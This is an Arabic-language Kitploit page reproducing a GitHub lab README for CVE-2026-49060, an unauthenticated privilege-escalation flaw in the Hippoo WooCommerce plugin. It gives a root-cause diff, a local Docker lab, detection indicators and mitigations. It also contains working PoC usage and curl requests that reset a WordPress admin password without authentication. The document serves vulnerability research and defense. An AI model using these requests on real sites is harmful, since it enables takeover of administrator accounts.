Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-49060-Lab | Kitploit
أدوات/GitHubGitHub/rootdirective-sec/cve-2026-49060-lab
تصعيد الامتيازاتتحليل الثغرات الأمنيةاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubrootdirective-sec/cve-2026-49060-lab

CVE-2026-49060-Lab

عرض المستودع
منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-49060 - Hippoo Mobile App for WooCommerce: تخصيص صلاحيات غير صحيح / تصعيد الامتيازات

الملخص التنفيذي

يحتوي هذا المستودع على بيئة معملية محلية باستخدام Docker لإعادة إنتاج والتحقق من CVE-2026-49060، وهي ثغرة تخصيص صلاحيات غير صحيح تؤثر على إضافة ووردبريس Hippoo Mobile App for WooCommerce.

يتم كشف السلوك القابل للاستغلال عبر مساحة أسماء REST API المستنسخة من Hippoo:```text /wc-hippoo/v1/ext/

root@kitploit:~
في الهدف الثغري، يمكن لزائر غير مصادَق الوصول إلى مسار REST للمستخدمين المستنسخ في WordPress وتحديث كلمة مرور مستخدم المسؤول عبر طلب HTTP غير مصادَق. وفي الهدف المصحح، يُحظر الطلب نفسه برمز `403 Forbidden`.

يقارن هذا المختبر بين نسختين من Hippoo:

| الخدمة    | إصدار Hippoo | الغرض                        | URL                     |
| --------- | -------------: | ---------------------------- | ----------------------- |
| `vuln`    |          1.9.4 | هدف المقارنة الثغري          | `http://localhost:8081` |
| `patched` |          1.9.5 | هدف المقارنة المصحح          | `http://localhost:8082` |

سلسلة الثغرات المُوضَّحة هي:```text
Unauthenticated visitor
→ Hippoo cloned REST namespace
→ /wc-hippoo/v1/ext/wp/v2/users/<id>
→ vulnerable permission handling allows access
→ unauthenticated GET exposes user data
→ unauthenticated POST can update the selected user's password
→ patched version blocks the same request with 403 Forbidden

يختبر هذا المختبر سلوك التفويض بين النسخة الضعيفة والنسخة المصححة باستخدام Hippoo 1.9.4 وHippoo 1.9.5.

يقتصر المختبر عمدًا على خدمات Docker المحلية. وهو لا يستهدف أنظمة خارجية ولا يتضمن الاستمرارية، أو قواقع الويب، أو البرمجيات الخبيثة، أو الاستدعاءات الخارجية.

حقائق تم التحقق منها

الافتراضات والمجهولات

يستخدم هذا المختبر Hippoo 1.9.4 كهدف مقارنة ضعيف لأن النشرات الاستشارية العامة تحدد الإصدارات حتى 1.9.4 على أنها متأثرة.

يستخدم هذا المختبر Hippoo 1.9.5 كهدف مقارنة مصحح لأن البيانات الوصفية للنشرات الاستشارية العامة تحدد 1.9.5 كإصدار مُصلَح للنطاق المتأثر الموضح.

يصف السجل العام لـ CVE-2026-49060 المشكلة على مستوى عالٍ بأنها تعيين صلاحيات غير صحيح / تصعيد صلاحيات. يركز هذا المختبر على سلوك التفويض القابل للملاحظة في Hippoo 1.9.4 ويقارنه مع Hippoo 1.9.5.

يعتمد ملخص السبب الجذري في هذا README على مقارنة الكود المصدري بين إصدارَي Hippoo الضعيف والمصحح المستخدمين في المختبر.

لا يدعي هذا المختبر اختبار كل مسارات Hippoo. إنه يركز على مسار مستخدمي WordPress REST المستنسخ:```text /wc-hippoo/v1/ext/wp/v2/users/

root@kitploit:~
لا يوضح المختبر ما يلي:

* الثبات (persistence)،
* رفع قشرة ويب (web shell)،
* تنفيذ أوامر عشوائية،
* عمليات رد اتصال خارجية،
* سلوك البرمجيات الخبيثة،
* هجمات ضد أنظمة خارج المختبر،
* أو نشاط ما بعد الاختراق بما يتجاوز التحقق من تحديث كلمة المرور المحلية.

## ملخص السبب الجذري

السبب الجذري هو خلل في منطق الأذونات في معالجة الأدوار والأذونات في Hippoo.

يكشف Hippoo عن مسارات REST المنسوخة من WordPress وWooCommerce تحت نطاقه الخاص:```text
/wc-hippoo/v1/ext/

يعد سلوك استنساخ المسار (route-cloning) حساسًا من الناحية الأمنية، إذ يجب أن يحافظ المسار المستنسخ على متطلبات التفويض الخاصة بالمسار الأصلي أو يعززها. وإذا حصل المسار المستنسخ على استدعاء رجعي متساهل للأذونات، فقد يتمكن المستخدمون غير المصادق عليهم من الوصول إلى نقاط نهاية REST التي يجب أن تتطلب المصادقة والتفويض.

يتبع سلوك استنساخ المسار ذي الصلة هذا النمط:```php function re_register_external_routes() { $server = rest_get_server(); $endpoints = $server->get_routes();

root@kitploit:~
$new_namespace = $this->hippoo_namespace . '/ext';

foreach ($endpoints as $route => $handlers) {
    if (strpos($route, $this->hippoo_namespace) === 0) {
        continue;
    }

    foreach ($handlers as $handler) {
        $default_permission_callback = array($this, 'is_user_wordpress_admin');
        $permission_callback = apply_filters(
            'hippoo_extension_permission_check',
            $default_permission_callback,
            $route,
            $handler
        );

        register_rest_route(
            $new_namespace,
            $route,
            array(
                'methods'             => $methods,
                'callback'            => $handler['callback'],
                'args'                => $handler['args'],
                'permission_callback' => $permission_callback,
            )
        );
    }
}

}

root@kitploit:~
نموذج الأمان المقصود هو:```text
Original protected REST route
→ cloned into Hippoo namespace
→ permission callback still denies unauthenticated access

يحدث السلوك القابل للاستغلال لأن Hippoo 1.9.4 يستخدم نفس قيمة الإرجاع لحالتين مختلفتين:```text administrator / unrestricted access unauthenticated visitor / no user

root@kitploit:~
في Hippoo `1.9.4`، يُرجع مساعد الأذونات `null` عندما لا يوجد مستخدم WordPress مسجّل الدخول:```php
public static function get_user_permissions()
{
    $user = wp_get_current_user();

    if (empty($user) || !$user->exists()) {
        return null;
    }

    if (in_array('administrator', (array) $user->roles)) {
        return null; // Full access
    }

    $settings = get_option('hippoo_permissions_settings', []);
    foreach ((array) $user->roles as $role) {
        if (!isset($settings[$role])) {
            continue;
        }

        return $settings[$role];
    }

    return null; // Full access
}

النسخة المعرضة للخطر تتعامل أيضًا مع null كقيمة مسموح بها:```php private function has_role_access($section, $key = null) { $perms = self::get_user_permissions();

root@kitploit:~
if ($perms === null) {
    return true; // admin or unrestricted
}

if (empty($perms['general']['enable_access'])) {
    return false;
}

}

root@kitploit:~
هذا يُنشئ تدفق البيانات المعرّض للخطر:```text
Unauthenticated visitor
→ no WordPress user exists
→ get_user_permissions() returns null
→ has_role_access() treats null as allowed
→ cloned REST route permission can become permissive
→ unauthenticated request reaches sensitive REST endpoints

المشكلة ليست مجرد وجود مسار REST. المشكلة هي أن قرار الإذن قد يعامل الزائر غير المصادَق بشكل غير صحيح على أنه غير مقيد.

النسخة المُصحَّحة تفصل بين هذه الحالات.

في Hippoo 1.9.5، يُرجع الزوار غير المصادَق عليهم false بدلاً من null:```php public static function get_user_permissions() { $user = wp_get_current_user();

root@kitploit:~
if (empty($user) || !$user->exists() || !is_user_logged_in()) {
    return false;
}

if (in_array('administrator', (array) $user->roles)) {
    return null; // Full access
}

$settings = get_option('hippoo_permissions_settings', []);
foreach ((array) $user->roles as $role) {
    if (isset($settings[$role])) {
        return $settings[$role];
    }
}

return false; // No access

}

root@kitploit:~
فحص التفويض المُصحح يرفض بعد ذلك صراحةً `false`:```php
private function has_role_access($section, $key = null)
{
    $perms = self::get_user_permissions();

    if ($perms === null) {
        return true; // admin
    }

    if ($perms === false) {
        return false;
    }

    if (empty($perms['general']['enable_access'])) {
        return false;
    }
}

التغيير المتعلق بالأمن هو:```text Before: unauthenticated visitor → null → allowed

After: unauthenticated visitor → false → denied

root@kitploit:~
لهذا السبب يعرض المختبر:```text
Hippoo 1.9.4 → GET /wc-hippoo/v1/ext/wp/v2/users/1 → 200 OK
Hippoo 1.9.5 → GET /wc-hippoo/v1/ext/wp/v2/users/1 → 403 Forbidden

ملخص تصحيح المصدر

يغيّر التصحيح معنى قيم الإرجاع الخاصة بالأذونات.

في الإصدار المعرض للثغرة:```text null means administrator/full access null also means unauthenticated/no user

root@kitploit:~
في النسخة المصححة:```text
null means administrator/full access
false means unauthenticated/no role/no access

التغيير المهم على مستوى المصدر في مساعد الأذونات هو:```diff public static function get_user_permissions() { $user = wp_get_current_user();

  • if (empty($user) || !$user->exists()) {
  • root@kitploit:~
       return null;
    
  • if (empty($user) || !$user->exists() || !is_user_logged_in()) {

  • root@kitploit:~
       return false;
    

    }

    if (in_array('administrator', (array) $user->roles)) { return null; // Full access }

    $settings = get_option('hippoo_permissions_settings', []); foreach ((array) $user->roles as $role) {

  • root@kitploit:~
       if (!isset($settings[$role])) {
    
  • root@kitploit:~
           continue;
    
  • root@kitploit:~
       if (isset($settings[$role])) {
    
  • root@kitploit:~
           return $settings[$role];
       }
    
  • root@kitploit:~
       return $settings[$role];
    

    }

  • return null; // Full access

  • return false; // No access }
root@kitploit:~
قرار التفويض يتغير أيضًا:```diff
 private function has_role_access($section, $key = null)
 {
     $perms = self::get_user_permissions();

     if ($perms === null) {
-        return true; // admin or unrestricted
+        return true; // admin
     }

+    if ($perms === false) {
+        return false;
+    }
+
     if (empty($perms['general']['enable_access'])) {
         return false;
     }
 }

لا يزيل هذا التصحيح ميزة استنساخ المسار في Hippoo. بدلاً من ذلك، يعمل على إصلاح حد الثقة حول تقييم الأذونات.

الدرس الأمني المستفاد من هذا التصحيح هو:```text A permission helper must not use the same return value for "administrator" and "unauthenticated visitor".

root@kitploit:~
يجب أن تستخدم دوال الأذونات الحساسة أمنياً قيماً مميزة للحالات المميزة:```text
administrator / full access     → allowed
authenticated user with policy   → evaluate policy
unauthenticated user             → denied
unknown role / no configured ACL → denied

بنية المعمل

يشغّل المعمل تثبيتين معزولين لـ WordPress عبر Docker Compose.```text . ├── docker-compose.yml ├── vuln/ │ └── Dockerfile ├── patched/ │ └── Dockerfile ├── poc/ │ └── poc.py ├── README.md └── .gitignore

root@kitploit:~
| الخدمة         | المكوّن                         | الإصدار / الدور                |
| -------------- | -------------------------------- | ------------------------------ |
| `vuln`         | WordPress + WooCommerce + Hippoo | تطبيق الهدف المعرّض للثغرات    |
| `patched`      | WordPress + WooCommerce + Hippoo | تطبيق الهدف المحدّث            |
| `db-vuln`      | MariaDB                          | قاعدة بيانات للهدف المعرّض للثغرات |
| `db-patched`   | MariaDB                          | قاعدة بيانات للهدف المحدّث      |
| `init-vuln`    | خدمة تهيئة ووردبريس              | يهيئ الهدف المعرّض للثغرات      |
| `init-patched` | خدمة تهيئة ووردبريس              | يهيئ الهدف المحدّث             |

الخدمات المكشوفة الافتراضية:```text
Vulnerable target: http://localhost:8081
Patched target:    http://localhost:8082

The lab uses pinned Hippoo versions:

TargetHippoo versionExpected behavior
http://localhost:80811.9.4unauthenticated cloned users route is allowed
http://localhost:80821.9.5unauthenticated cloned users route is blocked

The lab installs WooCommerce because Hippoo integrates with WooCommerce REST classes and routes.

Requirements

  • Docker Desktop or Docker Engine
  • Docker Compose v2
  • Python 3
  • Internet access during Docker image build to fetch WordPress plugin packages

No Python third-party package is required. The PoC uses Python standard library modules only.

Quick Start

Start the lab from a clean state:```bash docker compose down -v --remove-orphans

docker image rm -f
cve-2026-49060-vuln:1.9.4
cve-2026-49060-patched:1.9.5

docker compose up --build --wait -d

root@kitploit:~
تحقق من حالة الخدمة:```bash
docker compose ps

الخدمات السليمة المتوقعة:```text cve-2026-49060-vuln cve-2026-49060-patched cve-2026-49060-init-vuln cve-2026-49060-init-patched cve-2026-49060-db-vuln cve-2026-49060-db-patched

root@kitploit:~
تحقق من تطبيقات الويب:```bash
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head

شغّل التحقق للقراءة فقط ضد كلا الهدفين:```bash python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082

root@kitploit:~
قم بتشغيل التحقق المحلي النشط ضد كلا الهدفين:```bash
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082

شغّل التحقق النشط باستخدام كلمة مرور صريحة:```bash python3 poc/poc.py --update-password --password 'NewLabPass123!' http://127.0.0.1:8081

root@kitploit:~
## استخدام PoC

مرّر عنوان URL واحدًا أو أكثر من عناوين URL المحلية المستهدفة كوسائط موضعية:```bash
python3 poc/poc.py <target_url> [target_url...]

أمثلة:```bash python3 poc/poc.py http://127.0.0.1:8081 python3 poc/poc.py http://127.0.0.1:8082 python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082

root@kitploit:~
الوضع الافتراضي هو للقراءة فقط. يرسل طلب `GET` غير مصادَق إلى مسار المستخدمين المستنسخ ويُبلّغ عما إذا كان الوصول مسموحًا أم محظورًا.

الخيارات المدعومة:```text
--update-password   Send unauthenticated POST to update the selected user's password.
--user-id           WordPress user ID to read or update. Default: 1.
--password          Password used with --update-password.

مثال للتحقق النشط:```bash python3 poc/poc.py --update-password --user-id 1 --password 'Cve49060LabPass123!' http://127.0.0.1:8081

root@kitploit:~
يقبل الـ PoC الأهداف المحلية/الحلقية فقط:```text
http://localhost:<port>
http://127.0.0.1:<port>
http://[::1]:<port>

يرفض الأهداف غير المحلية حسب التصميم.

النتائج المتوقعة

التحقق للقراءة فقط

الأمر:```bash python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082

root@kitploit:~
إشارة الهدف المعرض للخطر المتوقعة:```text
Target: target-1
Base  : http://127.0.0.1:8081

[+] REST index ready via /?rest_route=/
[+] Cloned Hippoo user route discovered via /?rest_route=/: /wc-hippoo/v1/ext/wp/v2/users

Unauthenticated GET probe result: ALLOWED
  Request : GET http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
  Status  : 200 OK

إشارة الهدف المُرقَّع المتوقعة:```text Target: target-2 Base : http://127.0.0.1:8082

[+] REST index ready via /?rest_route=/ [+] Cloned Hippoo user route discovered via /?rest_route=/: /wc-hippoo/v1/ext/wp/v2/users

Unauthenticated GET probe result: BLOCKED Request : GET http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 Status : 403 Forbidden

root@kitploit:~
الملخص المتوقع:```text
Summary

target-1
  URL             : http://127.0.0.1:8081
  REST ready      : True
  REST index path : /?rest_route=/
  Route found     : True
  Route           : /wc-hippoo/v1/ext/wp/v2/users
  GET verdict     : ALLOWED
  GET status      : 200

target-2
  URL             : http://127.0.0.1:8082
  REST ready      : True
  REST index path : /?rest_route=/
  Route found     : True
  Route           : /wc-hippoo/v1/ext/wp/v2/users
  GET verdict     : BLOCKED
  GET status      : 403

Read-only comparison:
  At least one target allowed unauthenticated GET access and at least one target blocked it.
  This supports a vulnerable-vs-patched authorization behavior difference.

التحقق المحلي النشط

الأمر:```bash python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082

root@kitploit:~
إشارة الهدف الضعيف المتوقعة:```text
Active local validation: target-1
Base                   : http://127.0.0.1:8081

Unauthenticated POST password update result: ALLOWED
  Request : POST http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
  Status  : 200 OK

إشارة الهدف المُصحَّح المتوقعة:```text Active local validation: target-2 Base : http://127.0.0.1:8082

Unauthenticated POST password update result: BLOCKED Request : POST http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 Status : 403 Forbidden

root@kitploit:~
التحقق النشط يغيّر فقط كلمة مرور مدير WordPress المؤقتة داخل هدف المختبر المحلي القابل للاستغلال.

بيانات اعتماد المختبر المحلية الافتراضية قبل التحقق النشط:```text
Username: admin
Password: AdminPass123!

كلمة المرور الافتراضية بعد التحقق النشط الناجح على الهدف المعرّض للخطر:```text Username: admin Password: Cve49060LabPass123!

root@kitploit:~
## كيف يعمل التحقق

يكتشف المُتحقق أولاً واجهة برمجة تطبيقات REST الخاصة بـ WordPress.

بعض بيئات WordPress تعرض مسارات REST عبر روابط دائمة منسقة:```text
/wp-json/

البعض الآخر يكشفها بشكل أكثر موثوقية عبر الاحتياطي في سلسلة الاستعلام:```text /?rest_route=/

root@kitploit:~
يحاول المُتحقِّق كِلا الصيغتين ويستخدم الصيغة التي تُرجِع فهرس REST بصيغة JSON.

بعد اكتشاف REST، يبحث عن مسار مستخدمي Hippoo المستنسخين:```text
/wc-hippoo/v1/ext/wp/v2/users

ثم يقوم بطلب GET غير مصادق عليه للقراءة فقط:```text GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1

root@kitploit:~
السلوك الضعيف المتوقع:```text
HTTP 200 OK
JSON user object returned

السلوك المتوقع بعد التصحيح:```text HTTP 403 Forbidden JSON rest_forbidden error returned

root@kitploit:~
When `--update-password` is enabled, the validator sends an unauthenticated POST request:

عندما يتم تمكين `--update-password`، يرسل المُدقِّق طلب POST غير مُصادَق عليه:```text
POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Content-Type: application/json

{
  "password": "Cve49060LabPass123!"
}

السلوك الضعيف المتوقع:```text HTTP 200 OK The selected user's password is updated inside the local lab target.

root@kitploit:~
السلوك المتوقع بعد التصحيح:```text
HTTP 403 Forbidden
The update is blocked.

الفرق المهم ليس في ما إذا كان المسار موجودًا. المسار موجود في كلا الإصدارين. الفرق الأمني هو ما إذا كان يُسمح لطلب غير مصادَق باستدعائه.

إعادة إنتاج HTTP يدويًا باستخدام curl

اختبار الثغرة للقراءة فقط:```bash curl -i
'http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'

root@kitploit:~
النتيجة المتوقعة:```text
HTTP/1.1 200 OK
Content-Type: application/json

مسبار مُرقّع للقراءة فقط:```bash curl -i
'http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'

root@kitploit:~
النتيجة المتوقعة:```text
HTTP/1.1 403 Forbidden
Content-Type: application/json

المسبار النشط للثغرات:```bash curl -i -X POST
'http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
-H 'Content-Type: application/json'
--data '{"password":"Cve49060LabPass123!"}'

root@kitploit:~
النتيجة المتوقعة:```text
HTTP/1.1 200 OK

المسبار النشط المُصحَّح:```bash curl -i -X POST
'http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
-H 'Content-Type: application/json'
--data '{"password":"Cve49060LabPass123!"}'

root@kitploit:~
النتيجة المتوقعة:```text
HTTP/1.1 403 Forbidden

التأثير

السلوك القابل للاستغلال يسمح بالوصول غير المصادق عليه إلى مسارات REST المستنسخة ضمن نطاق Hippoo.

أكثر المسارات حساسية من الناحية الأمنية المُوضَّحة هو مسار مستخدمي ووردبريس المستنسخ:```text /wc-hippoo/v1/ext/wp/v2/users/

root@kitploit:~
في الهدف المحلي الضعيف، يمكن لطلب غير مصادق عليه تحديث كلمة مرور مستخدم المسؤول. وهذا يوضح تأثير الاستيلاء على الحساب في المختبر الخاضع للسيطرة.

التأثير المحتمل في العالم الحقيقي، اعتمادًا على تكوين الموقع والمسارات المكشوفة، يشمل:

* وصول غير مصرح به إلى بيانات REST API الحساسة،
* الاستيلاء على حساب المسؤول،
* تصعيد الامتيازات،
* تعديل غير مصرح به لسجلات مستخدمي ووردبريس،
* والاختراق الكامل للموقع بعد الحصول على وصول المسؤول.

يوضح هذا المختبر فشل التفويض وتحديث كلمة مرور المسؤول المحلي فقط. ولا يشمل الاستغلال بعد المصادقة، أو تحرير الإضافات، أو تنفيذ التعليمات البرمجية، أو الاستمرارية، أو الإجراءات التدميرية.

## الكشف والمراقبة

تشمل المؤشرات المحتملة طلبات غير مصادق عليها إلى مساحة اسم REST المستنسخة الخاصة بـ Hippoo:```text
/wc-hippoo/v1/ext/

نمط المسار عالي الخطورة:```text GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/ POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/

root@kitploit:~
المؤشرات المشبوهة:```text
Unauthenticated POST requests to users endpoints
Requests containing "password" in JSON body
Requests to /wc-hippoo/v1/ext/wp/v2/users
Requests to cloned WooCommerce or WordPress REST routes under /wc-hippoo/v1/ext/
Unexpected 200 responses for unauthenticated REST API requests

أمثلة على أنماط سجل الوصول:```text POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1

root@kitploit:~
إجراءات المراقبة الموصى بها:

* مراجعة سجلات وصول خادم الويب بحثًا عن `/wc-hippoo/v1/ext/`.
* مراجعة سجلات مصادقة ووردبريس بحثًا عن عمليات تسجيل دخول غير متوقعة للمسؤولين.
* مراجعة سجلات مستخدمي ووردبريس بحثًا عن تغييرات حديثة في كلمات المرور.
* مراجعة عناوين البريد الإلكتروني والأدوار وأوقات إنشاء حسابات المسؤولين.
* مراجعة أوقات تعديل ملفات الإضافات/القوالب في حال الاشتباه بالاستيلاء على حساب مسؤول.
* مراقبة طلبات REST API التي تُرجع `200 OK` للمستخدمين غير المصادقين حيث يكون التفويض مطلوبًا.

## ملاحظات التخفيف والتصحيح

قم بترقية إضافة Hippoo Mobile App for WooCommerce إلى إصدار مصحح.

بالنسبة للمقارنة المخبرية المحددة، فإن إصدار Hippoo `1.9.5` يحظر سلوك مسار المستخدمين المستنسخين غير المصادق عليه الموضح والذي كان مسموحًا به في الإصدار `1.9.4`.

بالنسبة لبيئات الإنتاج، قم بالتحديث إلى أحدث إصدار متاح بدلاً من التوقف عند إصدار المقارنة المخبرية.

خطوات التخفيف الموصى بها:

* قم بتحديث إضافة Hippoo Mobile App for WooCommerce إلى أحدث إصدار مصحح متاح.
* تأكد من أن الإصدار المثبت أحدث من النطاق المتأثر.
* راجع ما إذا كان `/wc-hippoo/v1/ext/` مكشوفًا للعامة.
* قم بتدوير كلمات مرور المسؤولين إذا كان هناك اشتباه في الاستغلال.
* راجع حسابات مسؤولي ووردبريس بحثًا عن تغييرات غير مصرح بها.
* راجع سجلات وصول الويب بحثًا عن طلبات غير مصادق عليها إلى مسارات REST المستنسخة.
* قم بتعطيل الإضافة مؤقتًا إذا لم يكن التصحيح الفوري ممكنًا.
* استخدم جدار حماية تطبيقات الويب (WAF) أو الترقيع الافتراضي كطبقة مؤقتة، وليس كبديل للترقية.

دروس هندسة الأمان:```text
Do not use the same sentinel value for "administrator" and "unauthenticated visitor".
Fail closed when user identity is missing.
REST route permission callbacks should deny by default.
Cloned or proxied routes must preserve or strengthen authorization, not weaken it.

أوامر التحقق المفيدة

تحقق من حالة الحاوية:```bash docker compose ps

root@kitploit:~
تحقق من سجلات التهيئة:```bash
docker compose logs init-vuln init-patched

تحقق من خدمات الويب:```bash curl -i http://127.0.0.1:8081 | head curl -i http://127.0.0.1:8082 | head

root@kitploit:~
قم بتشغيل التحقق للقراءة فقط:```bash
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082

تشغيل التحقق النشط:```bash python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082

root@kitploit:~
تحقق من الإضافات النشطة:```bash
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html

تحقق من إصدارات Hippoo:```bash docker compose exec -T vuln sh -lc
"grep -R "Version:" -n /var/www/html/wp-content/plugins/hippoo/hippoo.php"

docker compose exec -T patched sh -lc
"grep -R "Version:" -n /var/www/html/wp-content/plugins/hippoo/hippoo.php"

root@kitploit:~
افحص منطق الأذونات في الهدف المعرض للخطر:```bash
docker compose exec -T vuln sh -lc \
  "grep -n \"function get_user_permissions\\|function has_role_access\" -A45 /var/www/html/wp-content/plugins/hippoo/app/permissions.php"

افحص منطق الأذونات في الهدف المُرَقَّع:```bash docker compose exec -T patched sh -lc
"grep -n "function get_user_permissions\|function has_role_access" -A45 /var/www/html/wp-content/plugins/hippoo/app/permissions.php"

root@kitploit:~
احفظ دليل التحقق:```bash
mkdir -p evidence

python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082 \
  | tee evidence/read-only-validation.txt

python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082 \
  | tee evidence/active-password-update-validation.txt

docker compose ps \
  | tee evidence/docker-compose-ps.txt

التنظيف

أوقف الحاويات والشبكات وأزلْها:```bash docker compose down --remove-orphans

root@kitploit:~
إزالة الحاويات والشبكات ووحدات التخزين:```bash
docker compose down -v --remove-orphans

احذف ملفات الأدلة المحلية إذا تم إنشاؤها:```bash rm -rf evidence/

root@kitploit:~
## حدود الأمان

هذا المختبر مخصص لأبحاث الأمن المحلية والعروض التوضيحية الخاضعة للتحكم فقط.

لا تشغّل الـ PoC أو طلبات curl اليدوية ضد أنظمة لا تملكها أو لا تملك إذنًا صريحًا لاختبارها.

لا تستخدم بيانات اعتماد إنتاجية حقيقية، أو بيانات عملاء حقيقية، أو أسرار إنتاجية في هذا المختبر.

النطاق المقصود يقتصر على خدمات Docker المحلية مثل:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082

الـ PoC مقصود به عمدًا أن يقتصر على HTTP وأن يكون ضمن نطاق محلي. لا يستدعي Docker أو Docker Compose أو WP-CLI أو واجهات برمجة تطبيقات الحاويات.

وضع التحقق النشط يغيّر كلمة المرور فقط لمستخدم WordPress المحدد داخل بيئة المختبر المحلية المؤقتة.

لا يتضمن المختبر حمولات من أجل:

  • رفع قشرة ويب،
  • تنفيذ أوامر عشوائية،
  • الثبات،
  • الحركة الجانبية،
  • سرقة بيانات الاعتماد،
  • تفريغ قاعدة البيانات،
  • أو استدعاءات خارجية.

الهدف هو إظهار حالة تقنية محددة واحدة في بيئة خاضعة للتحكم:```text unauthenticated request

  • Hippoo cloned REST route
  • vulnerable permission sentinel logic
  • unauthenticated access allowed in 1.9.4
  • unauthenticated access blocked in 1.9.5
root@kitploit:~
## المراجع

* NVD: CVE-2026-49060
  https://nvd.nist.gov/vuln/detail/CVE-2026-49060

* Patchstack: إضافة ووردبريس Hippoo Mobile App for WooCommerce <= 1.9.4 تصعيد الامتيازات
  https://patchstack.com/database/wordpress/plugin/hippoo/vulnerability/wordpress-hippoo-mobile-app-for-woocommerce-plugin-1-9-4-privilege-escalation-vulnerability

* استشارة GitHub الأمنية: GHSA-mh6m-7983-2r5w
  https://github.com/advisories/GHSA-mh6m-7983-2r5w

* إضافة WordPress.org: Hippoo Mobile App for WooCommerce
  https://wordpress.org/plugins/hippoo/

* مستودع SVN لإضافات WordPress.org
  https://plugins.svn.wordpress.org/hippoo/

* وسوم SVN لإضافات WordPress.org
  https://plugins.svn.wordpress.org/hippoo/tags/

* دليل WordPress REST API: المسارات ونقاط النهاية
  https://developer.wordpress.org/rest-api/extending-the-rest-api/routes-and-endpoints/

* OWASP دليل اختبار أمان الويب: اختبار تجاوز التفويض
  https://owasp.org/www-project-web-security-testing-guide/
تنزيل الأداة
الادعاءالدليلكيفية التحقق في هذا المختبر
يؤثر CVE-2026-49060 على تطبيق Hippoo للجوال لـ WooCommerce حتى الإصدار 1.9.4.تحدد النشرات الاستشارية العامة أن Hippoo <= 1.9.4 / حتى 1.9.4 متأثر.راجع قسم المراجع وقارن إصدار خدمة vuln.
يُستخدم Hippoo 1.9.5 كهدف مقارنة مصحح.تحدد البيانات الوصفية للنشرات الاستشارية العامة 1.9.5 كإصدار مصحح للنطاق المتأثر.شغّل docker compose logs init-vuln init-patched وتأكد من إصدارات الإضافات المهيأة.
يظهر السلوك الضعيف عبر مساحة أسماء REST المستنسخة من Hippoo.يعيد Hippoo تسجيل مسارات REST الخارجية تحت /wc-hippoo/v1/ext/.شغّل python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082.
يتيح Hippoo 1.9.4 وصولًا غير مصادق عليه إلى مسار المستخدمين المستنسخ في هذا المختبر.يتلقى PoC الخاص بالمختبر رد 200 OK من http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1.شغّل أمر التحقق للقراءة فقط ضد 8081.
يحظر Hippoo 1.9.5 نفس الطلب غير المصادق عليه في هذا المختبر.يتلقى PoC الخاص بالمختبر رد 403 Forbidden من http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1.شغّل أمر التحقق للقراءة فقط ضد 8082.
يمكن للهدف الضعيف تحديث كلمة مرور المسؤول عبر طلب POST غير مصادق عليه في هذا المختبر المحلي.يتلقى PoC النشط رد 200 OK من الهدف الضعيف عند استخدام --update-password.شغّل python3 poc/poc.py --update-password http://127.0.0.1:8081.
يحظر الهدف المصحح طلب تحديث كلمة المرور غير المصادق عليه.يُرجع Hippoo 1.9.5 استجابة مرفوضة لنفس مسار المستخدمين المستنسخ.شغّل التحقق النشط ضد الهدفين معًا.
يقتصر PoC على HTTP فقط.يُرسل poc/poc.py طلبات HTTP فقط ولا يستدعي Docker أو WP-CLI أو واجهات برمجة تطبيقات الحاويات.افحص poc/poc.py.